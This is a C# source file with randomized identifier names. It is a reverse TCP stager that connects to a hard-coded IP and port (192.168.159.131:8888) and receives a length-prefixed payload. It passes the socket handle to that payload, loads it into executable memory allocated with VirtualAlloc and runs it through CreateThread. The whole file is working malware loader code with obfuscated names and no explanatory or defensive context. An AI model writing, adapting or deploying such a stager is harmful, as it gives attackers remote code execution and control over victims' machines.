using System;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
namespace RgEokWrLaCOMVyv
{
    class JSObzVlTVImvO
    {
        static byte[] kIMbQVAeyD(string PjNlMLpeljypSi, int TnLFnfJXE)
        {
            IPEndPoint xkmXyKRA = new IPEndPoint(IPAddress.Parse(PjNlMLpeljypSi), TnLFnfJXE);
            Socket cVcpCrf = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            try { cVcpCrf.Connect(xkmXyKRA); }
            catch { return null; }
            byte[] lweXbyzuh = new byte[4];
            cVcpCrf.Receive(lweXbyzuh, 4, 0);
            int kfPTosqaEwMk = BitConverter.ToInt32(lweXbyzuh, 0);
            byte[] lkNZlXavMtJIs = new byte[kfPTosqaEwMk + 5];
            int olNdkmiyOvNkysp = 0;
            while (olNdkmiyOvNkysp < kfPTosqaEwMk)
            { olNdkmiyOvNkysp += cVcpCrf.Receive(lkNZlXavMtJIs, olNdkmiyOvNkysp + 5, (kfPTosqaEwMk - olNdkmiyOvNkysp) < 4096 ? (kfPTosqaEwMk - olNdkmiyOvNkysp) : 4096, 0); }
            byte[] uIAKnpejh = BitConverter.GetBytes((int)cVcpCrf.Handle);
            Array.Copy(uIAKnpejh, 0, lkNZlXavMtJIs, 1, 4); lkNZlXavMtJIs[0] = 0xBF;
            return lkNZlXavMtJIs;
        }
        static void lMbBqzgpERnl(byte[] KAXXrUmXWoCPXj)
        {
            if (KAXXrUmXWoCPXj != null)
            {
                UInt32 PvtfuPCqEjrdvpO = VirtualAlloc(0, (UInt32)KAXXrUmXWoCPXj.Length, 0x1000, 0x40);
                Marshal.Copy(KAXXrUmXWoCPXj, 0, (IntPtr)(PvtfuPCqEjrdvpO), KAXXrUmXWoCPXj.Length);
                IntPtr lBSZpur = IntPtr.Zero;
                UInt32 KoJNOMK = 0;
                IntPtr DByrYVvBh = IntPtr.Zero;
                lBSZpur = CreateThread(0, 0, PvtfuPCqEjrdvpO, DByrYVvBh, 0, ref KoJNOMK);
                WaitForSingleObject(lBSZpur, 0xFFFFFFFF);
            }
        }
        static void Main()
        {
            byte[] QhvxHXenaAQqnvc = null; QhvxHXenaAQqnvc = kIMbQVAeyD("192.168.159.131", 8888);  //ip:port
            lMbBqzgpERnl(QhvxHXenaAQqnvc);
        }
        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 FuaSmVswXcRIy, UInt32 APJRswxcWSTrTDn, UInt32 CEhFKKAjNUV, UInt32 kEminJpBWqQqGFN);
        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(UInt32 fXuHltbvLuVf, UInt32 LwlCXOLCPsAd, UInt32 QTCwzapBZMmyax, IntPtr VBWAuSKkygocl, UInt32 jjrOuudE, ref UInt32 hsWneqiU);
        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(IntPtr EVrNJzeKeZx, UInt32 FKbhbPPXVlo);
    }
}
